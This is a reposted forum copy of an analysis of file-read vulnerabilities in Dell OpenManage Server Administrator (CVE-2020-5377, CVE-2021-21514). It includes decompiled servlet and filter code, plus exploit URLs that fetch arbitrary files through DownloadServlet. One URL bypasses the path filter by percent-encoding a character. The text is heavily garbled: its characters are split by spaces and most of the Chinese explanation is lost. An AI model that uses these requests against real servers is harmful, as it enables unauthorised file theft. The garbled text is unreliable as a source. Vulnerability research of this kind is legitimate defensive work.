[16638] 2021-04-05_戴尔OMSA文件读取漏洞分析

文档创建者:s7ckTeam
浏览次数:10
最后更新:2025-01-18
2021-04-05_戴尔OMSA文件读取漏洞分析 O M S A A l p h a _ h 4 c k   F r e e B u f   2 0 2 1 - 0 4 - 0 5 O p e n M a n a g e   S e r v e r   A d m i n i s t r a t o r O M S A C V E - 2 0 2 0 - 5 3 7 7 C V E - 2 0 2 1 - 2 1 5 1 4 O M S A 9 . 4 . 0 . 0 9 . 4 . 0 . 2 2 0 1 6 O M S A O p e n M a n a g e   S e r v e r   A d m i n i s t r a t o r O M S A O M S A O p e n M a n a g e   S e r v e r   A d m i n i s t r a t o r O M S A W e b O M S A O M S A O M S A W e b W e b D W S O M S A O M S A 使 便 W e b D W S W e b O M S A O M S A W e b W e b W e b O M S A 9 . 4 . 0 . 0 9 . 4 . 0 . 2 A P I 访 O M S A
J S E S S I O N I D   c o o k i e V I D O M S A   W e b O M S A A P I O M S A   W e b 使 A p a c h e   T o m c a t w e b . x m l s e r v l e t / D o w n l o a d S e r v l e t O M S A . j a r < s e r v l e t > < s e r v l e t - n a m e > D o w n l o a d S e r v l e t < / s e r v l e t - n a m e > < s e r v l e t - c l a s s > c o m . d e l l . o m a . s e r v l e t . s e c u r e . D o w n l o a d S e r v l e t < / s e r v l e t - c l a s s > < / s e r v l e t > s t r i n g   s t r 1   =   p a r a m H t t p S e r v l e t R e q u e s t . g e t P a r a m e t e r ( " f i l e " ) ; < S N I P   - - - - - > F i l e   f i l e   =   n e w   F i l e ( s t r 1 ) ;         i f   ( f a l s e   = =   o M A W P U t i l . c h e c k U s e r R i g h t s ( p a r a m H t t p S e r v l e t R e q u e s t ,   7 ) )   {             S t r i n g   s t r 4   =   f i l e . g e t C a n o n i c a l P a t h ( ) ;             S t r i n g   s t r 5   =   " a p a c h e - t o m c a t "   +   F i l e . s e p a r a t o r   +   " t e m p " ;             O M A L o g g i n g . g e t I n s t a n c e ( ) . w r i t e ( 9 ,   " D o w n l o a d S e r v l e t   :   C a n o n i c a l   p a t h   : "   +   s t r 4 ) ;             i f   ( ! s t r 4 . c o n t a i n s ( s t r 5 ) )   {                 O M A L o g g i n g . g e t I n s t a n c e ( ) . w r i t e ( 9 ,   " D o w n l o a d S e r v l e t   :   a c c e s s   d e n i e d   t o   f i l e   : "   +   s t r 1 ) ;                 r e t u r n ;             }         } < S N I P - - - >         F i l e I n p u t S t r e a m   f i l e I n p u t S t r e a m   =   n u l l ;         S t r i n g   s t r 3   =   g e t S e r v l e t C o n t e x t ( ) . g e t M i m e T y p e ( s t r 1 ) ;         p a r a m H t t p S e r v l e t R e s p o n s e . s e t C o n t e n t T y p e ( s t r 3 ) ;         p a r a m H t t p S e r v l e t R e s p o n s e . s e t H e a d e r ( " C o n t e n t - D i s p o s i t i o n " ,   " a t t a c h m e n t ;   f i l e n a m e = " "   +   s t r 2   +   " " ; " ) ;         p a r a m H t t p S e r v l e t R e s p o n s e . s e t C o n t e n t L e n g t h ( ( i n t ) f i l e . l e n g t h ( ) ) ;         S e r v l e t O u t p u t S t r e a m   s e r v l e t O u t p u t S t r e a m   =   p a r a m H t t p S e r v l e t R e s p o n s e . g e t O u t p u t S t r e a m ( ) ;         t r y   {             f i l e I n p u t S t r e a m   =   n e w   F i l e I n p u t S t r e a m ( s t r 1 ) ;             i n t   j   =   0 ;
f i l e G E T s t r 1 F i l e I n p u t S t r e a m W e b 7 C V E - 2 0 2 1 - 2 1 5 1 4 C V E - 2 0 2 0 - 5 3 7 7 D o w n l o a d S e r v l e t s e r v l e t D o w n l o a d S e r v l e t 使 D o w n l o a d S e r v l e t             w h i l e   ( ( j   =   f i l e I n p u t S t r e a m . r e a d ( ) )   ! =   - 1 )                 s e r v l e t O u t p u t S t r e a m . w r i t e ( j ) ; } h t t p s : / / o m s a . s e r v e r / { V I D } / D o w n l o a d S e r v l e t ? h e l p = C e r t i f i c a t e & a p p = o m a & v i d = { V I D } & f i l e = C : s o m e f i l e < f i l t e r - n a m e > P a t h M a n i p u l a t i o n F i l t e r < / f i l t e r - n a m e > < f i l t e r - c l a s s > s e c u r i t y . w e b . P a t h M a n i p u l a t i o n F i l t e r < / f i l t e r - c l a s s > p u b l i c   s t a t i c   b o o l e a n   i s F i l e H a n d l e r R e q u e s t ( S t r i n g   p a r a m S t r i n g )   {         b o o l e a n   b o o l   =   f a l s e ;         S e t < S t r i n g >   s e t   =   a . k e y S e t ( ) ;         I t e r a t o r < S t r i n g >   i t e r a t o r   =   s e t . i t e r a t o r ( ) ;         S t r i n g   s t r   =   n u l l ;         w h i l e   ( i t e r a t o r . h a s N e x t ( ) )   {             s t r   =   i t e r a t o r . n e x t ( ) ;             i f   ( S t r i n g U t i l . t r i m ( p a r a m S t r i n g ) . c o n t a i n s ( s t r ) )   {                 b o o l   =   t r u e ;                 b r e a k ;             }         }         r e t u r n   b o o l ;     } < S N I P >   s t a t i c   {         a   =   n e w   H a s h M a p < > ( ) ;         H a s h M a p < O b j e c t ,   O b j e c t >   h a s h M a p 1   =   n e w   H a s h M a p < > ( ) ;         h a s h M a p 1 . p u t ( " f i l e _ 1 " ,   " o m a _ d + . ( l o g | h t m l | z i p ) $ " ) ;         h a s h M a p 1 . p u t ( " f i l e _ 2 " ,   " . * ( . c e r | . C E R ) $ " ) ;
U R L i s F i l e H a n d l e r R e q u e s t U R L H a s h M a p   a a U R L U R L i s F i l e H a n d l e r R e q u e s t f a l s e U R L t U R L % 7 4 P o C P o C C o o k i e 使 G i f 使 使 使 A P I c o o k i e 使 W e b 使 A P I c o o k i e 访 使 O M S A   W e b 访 使 O M S A 使 广 O M S A         a . p u t ( " D o w n l o a d S e r v l e t " ,   h a s h M a p 1 ) ;         H a s h M a p < O b j e c t ,   O b j e c t >   h a s h M a p 2   =   n e w   H a s h M a p < > ( ) ;         h a s h M a p 2 . p u t ( " f i l e _ 1 " ,   " . * " ) ;         a . p u t ( " U p l o a d S e r v l e t " ,   h a s h M a p 2 ) ;         H a s h M a p < O b j e c t ,   O b j e c t >   h a s h M a p 3   =   n e w   H a s h M a p < > ( ) ;         h a s h M a p 3 . p u t ( " f i l e _ 1 " ,   " . * " ) ;         a . p u t ( " U p l o a d C e r t S e r v l e t " ,   h a s h M a p 3 ) ;         H a s h M a p < O b j e c t ,   O b j e c t >   h a s h M a p 4   =   n e w   H a s h M a p < > ( ) ;         h a s h M a p 4 . p u t ( " p a t h _ 1 " ,   " ( | / ) ( o m a | u p l o a d ) ( | / ) d + " ) ;         h a s h M a p 4 . p u t ( " p a t h _ 2 " ,   " ( | / ) t e m p " ) ;         a . p u t ( " V i e w F i l e " ,   h a s h M a p 4 ) ;     } h t t p s : / / o m s a . s e r v e r / { V I D } / D o w n l o a d S e r v l e % 7 4 ? h e l p = C e r t i f i c a t e & a p p = o m a & v i d = { V I D } & f i l e = C : s o m e f i l e

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则